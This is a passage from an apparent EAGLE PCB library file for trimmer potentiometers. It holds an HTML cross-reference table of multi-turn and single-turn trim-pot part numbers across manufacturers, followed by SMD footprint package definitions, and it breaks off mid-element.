   25P&lt;BR&gt;\n      -&lt;BR&gt;\n      25S&lt;BR&gt;\n      25U&lt;BR&gt;\n      25RX&lt;BR&gt;\n      25X&lt;BR&gt;\n      72XW&lt;BR&gt;\n      72XL&lt;BR&gt;\n      72PM&lt;BR&gt;\n      72RX&lt;BR&gt;\n      -&lt;BR&gt;\n      72PX&lt;BR&gt;\n      72P&lt;BR&gt;\n      72RXW&lt;BR&gt;\n      72RXL&lt;BR&gt;\n      72X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T7YB&lt;BR&gt;\n      T7YA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      TXD&lt;BR&gt;\n      TYA&lt;BR&gt;\n      TYP&lt;BR&gt;\n      -&lt;BR&gt;\n      TYD&lt;BR&gt;\n      TX&lt;BR&gt;\n      -&lt;BR&gt;\n      150SX&lt;BR&gt;\n      100SX&lt;BR&gt;\n      102T&lt;BR&gt;\n      101S&lt;BR&gt;\n      190T&lt;BR&gt;\n      150TX&lt;BR&gt;\n      101&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      101SX&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ET6P&lt;BR&gt;\n      ET6S&lt;BR&gt;\n      ET6X&lt;BR&gt;\n      RJ-6W/8014EMW&lt;BR&gt;\n      RJ-6P/8014EMP&lt;BR&gt;\n      RJ-6X/8014EMX&lt;BR&gt;\n      TM7W&lt;BR&gt;\n      TM7P&lt;BR&gt;\n      TM7X&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMS&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMB&lt;BR&gt;\n      8017SMA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6W&lt;BR&gt;\n      CT-6H&lt;BR&gt;\n      CT-6P&lt;BR&gt;\n      CT-6R&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6V&lt;BR&gt;\n      CT-6X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKV&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKX&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKP&lt;BR&gt;\n      8038EKZ&lt;BR&gt;\n      8038EKW&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3321H&lt;BR&gt;\n      3321P&lt;BR&gt;\n      3321N&lt;BR&gt;\n      1102H&lt;BR&gt;\n      1102P&lt;BR&gt;\n      1102T&lt;BR&gt;\n      RVA0911V304A&lt;BR&gt;\n      -&lt;BR&gt;\n      RVA0911H413A&lt;BR&gt;\n      RVG0707V100A&lt;BR&gt;\n      RVA0607V(H)306A&lt;BR&gt;\n      RVA1214H213A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3104B&lt;BR&gt;\n      3104C&lt;BR&gt;\n      3104F&lt;BR&gt;\n      3104H&lt;BR&gt;\n      -&lt;BR&gt;\n      3104M&lt;BR&gt;\n      3104P&lt;BR&gt;\n      3104S&lt;BR&gt;\n      3104W&lt;BR&gt;\n      3104X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMQIG&lt;BR&gt;\n      EVMQ3G&lt;BR&gt;\n      EVMS0G&lt;BR&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMG0G&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMK4GA00B&lt;BR&gt;\n      EVM30GA00B&lt;BR&gt;\n      EVMK0GA00B&lt;BR&gt;\n      EVM38GA00B&lt;BR&gt;\n      EVMB6&lt;BR&gt;\n      EVLQ0&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMSG&lt;BR&gt;\n      EVMMBG&lt;BR&gt;\n      EVMMAG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMCS&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM0&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM3&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      62-3-1&lt;BR&gt;\n      62-1-2&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67R&lt;BR&gt;\n      -&lt;BR&gt;\n      67P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67X&lt;BR&gt;\n      63V&lt;BR&gt;\n      63S&lt;BR&gt;\n      63M&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63H&lt;BR&gt;\n      63P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;&amp;nbsp;&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT color=\"#0000FF\" SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SMD TRIM-POT CROSS REFERENCE&lt;/B&gt;&lt;/FONT&gt;\n      &lt;P&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3224G&lt;BR&gt;\n      3224J&lt;BR&gt;\n      3224W&lt;BR&gt;\n      3269P&lt;BR&gt;\n      3269W&lt;BR&gt;\n      3269X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      44G&lt;BR&gt;\n      44J&lt;BR&gt;\n      44W&lt;BR&gt;\n      84P&lt;BR&gt;\n      84W&lt;BR&gt;\n      84X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST63Z&lt;BR&gt;\n      ST63Y&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST5P&lt;BR&gt;\n      ST5W&lt;BR&gt;\n      ST5X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3314G&lt;BR&gt;\n      3314J&lt;BR&gt;\n      3364A/B&lt;BR&gt;\n      3364C/D&lt;BR&gt;\n      3364W/X&lt;BR&gt;\n      3313G&lt;BR&gt;\n      3313J&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      23B&lt;BR&gt;\n      23A&lt;BR&gt;\n      21X&lt;BR&gt;\n      21W&lt;BR&gt;\n      -&lt;BR&gt;\n      22B&lt;BR&gt;\n      22A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST5YL/ST53YL&lt;BR&gt;\n      ST5YJ/5T53YJ&lt;BR&gt;\n      ST-23A&lt;BR&gt;\n      ST-22B&lt;BR&gt;\n      ST-22&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST-4B&lt;BR&gt;\n      ST-4A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST-3B&lt;BR&gt;\n      ST-3A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVM-6YS&lt;BR&gt;\n      EVM-1E&lt;BR&gt;\n      EVM-1G&lt;BR&gt;\n      EVM-1D&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      G4B&lt;BR&gt;\n      G4A&lt;BR&gt;\n      TR04-3S1&lt;BR&gt;\n      TRG04-2S1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      DVR-43A&lt;BR&gt;\n      CVR-42C&lt;BR&gt;\n      CVR-42A/C&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;\n&lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;ALT =&amp;nbsp;ALTERNATE&lt;/B&gt;&lt;/FONT&gt;\n&lt;P&gt;\n\n&amp;nbsp;\n&lt;P&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;</description>\n<packages>\n<package name=\"RTRIM3304W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\n0,1W 25%</description>\n<wire x1=\"-1.9\" y1=\"1.9\" x2=\"1.9\" y2=\"1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"1.9\" x2=\"1.9\" y2=\"-1.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.9\" y1=\"-1.1\" x2=\"1.9\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"-1.9\" x2=\"0.65\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.65\" y1=\"-1.9\" x2=\"0.65\" y2=\"-1.1\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.65\" y1=\"-1.1\" x2=\"-0.65\" y2=\"-1.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.65\" y1=\"-1.1\" x2=\"-0.65\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.65\" y1=\"-1.9\" x2=\"-1.9\" y2=\"-1.9\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.9\" y1=\"-1.9\" x2=\"-1.9\" y2=\"-1.1\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.9\" y1=\"-1.1\" x2=\"-1.9\" y2=\"1.9\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"0.4\" radius=\"1.2\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-1.9\" dx=\"1.4\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.25\" y=\"-1.9\" dx=\"1.4\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"1.6\" dx=\"2.5\" dy=\"1.4\" layer=\"1\"/>\n<text x=\"-2.29\" y=\"-2.54\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.545\" y=\"-2.54\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1\" y1=\"0.2\" x2=\"1\" y2=\"0.6\" layer=\"51\"/>\n<rectangle x1=\"-0.2\" y1=\"-0.6\" x2=\"0.2\" y2=\"1.4\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3165W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; MEGGIT</description>\n<wire x1=\"-1.125\" y1=\"1.75\" x2=\"-1.875\" y2=\"1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.875\" y1=\"1\" x2=\"-1.875\" y2=\"-1.375\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.875\" y1=\"-1.375\" x2=\"-1.875\" y2=\"-2.25\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.875\" y1=\"-2.25\" x2=\"-1.625\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.625\" y1=\"-2.5\" x2=\"-1.125\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.125\" y1=\"-2.5\" x2=\"-1.125\" y2=\"-1.625\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.125\" y1=\"-1.625\" x2=\"-0.25\" y2=\"-1.625\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.25\" y1=\"-1.625\" x2=\"-0.25\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.25\" y1=\"-2.5\" x2=\"0.25\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.25\" y1=\"-2.5\" x2=\"0.25\" y2=\"-1.625\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.25\" y1=\"-1.625\" x2=\"1.125\" y2=\"-1.625\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.125\" y1=\"-1.625\" x2=\"1.125\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.125\" y1=\"-2.5\" x2=\"1.625\" y2=\"-2.5\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.625\" y1=\"-2.5\" x2=\"1.875\" y2=\"-2.25\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.875\" y1=\"-2.25\" x2=\"1.875\" y2=\"-1.625\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.875\" y1=\"-1.625\" x2=\"1.875\" y2=\"1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.875\" y1=\"1\" x2=\"1.125\" y2=\"1.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.125\" y1=\"1.75\" x2=\"-1.125\" y2=\"1.75\" width=\"0.254\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.3806\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.35\" y=\"-2\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-2\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.35\" y=\"-2\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"4\" x=\"0\" y=\"1.8\" dx=\"2\" dy=\"1\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.81\" y=\"-2.54\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.25\" y1=\"-1.125\" x2=\"0.25\" y2=\"1.125\" layer=\"21\"/>\n<rectangle x1=\"-1.125\" y1=\"-0.25\" x2=\"1.125\" y2=\"0.25\" layer=\"21\"/>\n<hole x=\"0\" y=\"0\" drill=\"2\"/>\n</package>\n<package name=\"RTRIM3202\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; MEGGIT</description>\n<wire x1=\"-1.6\" y1=\"1.4\" x2=\"-1.6\" y2=\"-1.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.6\" y1=\"-1.4\" x2=\"1.6\" y2=\"-1.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.6\" y1=\"-1.4\" x2=\"1.6\" y2=\"1.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.6\" y1=\"1.4\" x2=\"-1.6\" y2=\"1.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.6\" y1=\"1.4\" x2=\"-1\" y2=\"1.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1\" y1=\"1.4\" x2=\"1.6\" y2=\"1.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"-1.4\" x2=\"0.3\" y2=\"-1.4\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"2\" x=\"0\" y=\"1.6\" dx=\"1.6\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"-1.75\" dx=\"0.9\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"3\" x=\"0.95\" y=\"-1.75\" dx=\"0.9\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-1.99\" y=\"-2.39\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.26\" y=\"-2.39\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.2\" y1=\"-1\" x2=\"0.2\" y2=\"1\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3314J\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\n0,25W, 20%</description>\n<wire x1=\"2.15\" y1=\"2.15\" x2=\"2.15\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.15\" y1=\"-2.15\" x2=\"-2.15\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.15\" x2=\"-2.15\" y2=\"2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"2.15\" x2=\"2.15\" y2=\"2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.15\" y1=\"-0.8\" x2=\"2.15\" y2=\"2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"2.15\" x2=\"1.2\" y2=\"2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.2\" y1=\"2.15\" x2=\"-2.15\" y2=\"2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.15\" y1=\"2.15\" x2=\"-2.15\" y2=\"-0.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.95\" y1=\"-2.15\" x2=\"-0.95\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.5\" y1=\"-0.9\" x2=\"0.9\" y2=\"0.5\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-0.85\" y1=\"-0.55\" x2=\"0.55\" y2=\"0.85\" width=\"0.1016\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.1\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"3\" x=\"1.8\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.8\" y=\"-2\" dx=\"1.3\" dy=\"2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2\" dx=\"2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-2.64\" y=\"-2.99\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-2.99\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM4G/J\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY</description>\n<wire x1=\"-2.4\" y1=\"2.4\" x2=\"-2.4\" y2=\"-2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.4\" y1=\"-2.4\" x2=\"2.4\" y2=\"-2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.4\" y1=\"-2.4\" x2=\"2.4\" y2=\"2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.4\" y1=\"2.4\" x2=\"-2.4\" y2=\"2.4\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.1\" y1=\"-2.4\" x2=\"-2.4\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"-2.4\" x2=\"-2.4\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"2.4\" x2=\"-1.25\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-2.4\" x2=\"2.4\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.4\" y1=\"-2.4\" x2=\"2.4\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.4\" y1=\"2.4\" x2=\"1.25\" y2=\"2.4\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.25\" y1=\"-2.4\" x2=\"0.25\" y2=\"-2.4\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.85\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.15\" y=\"-2.75\" dx=\"1.3\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.15\" y=\"-2.75\" dx=\"1.3\" dy=\"1.3\" layer=\"1\"/>\n<smd 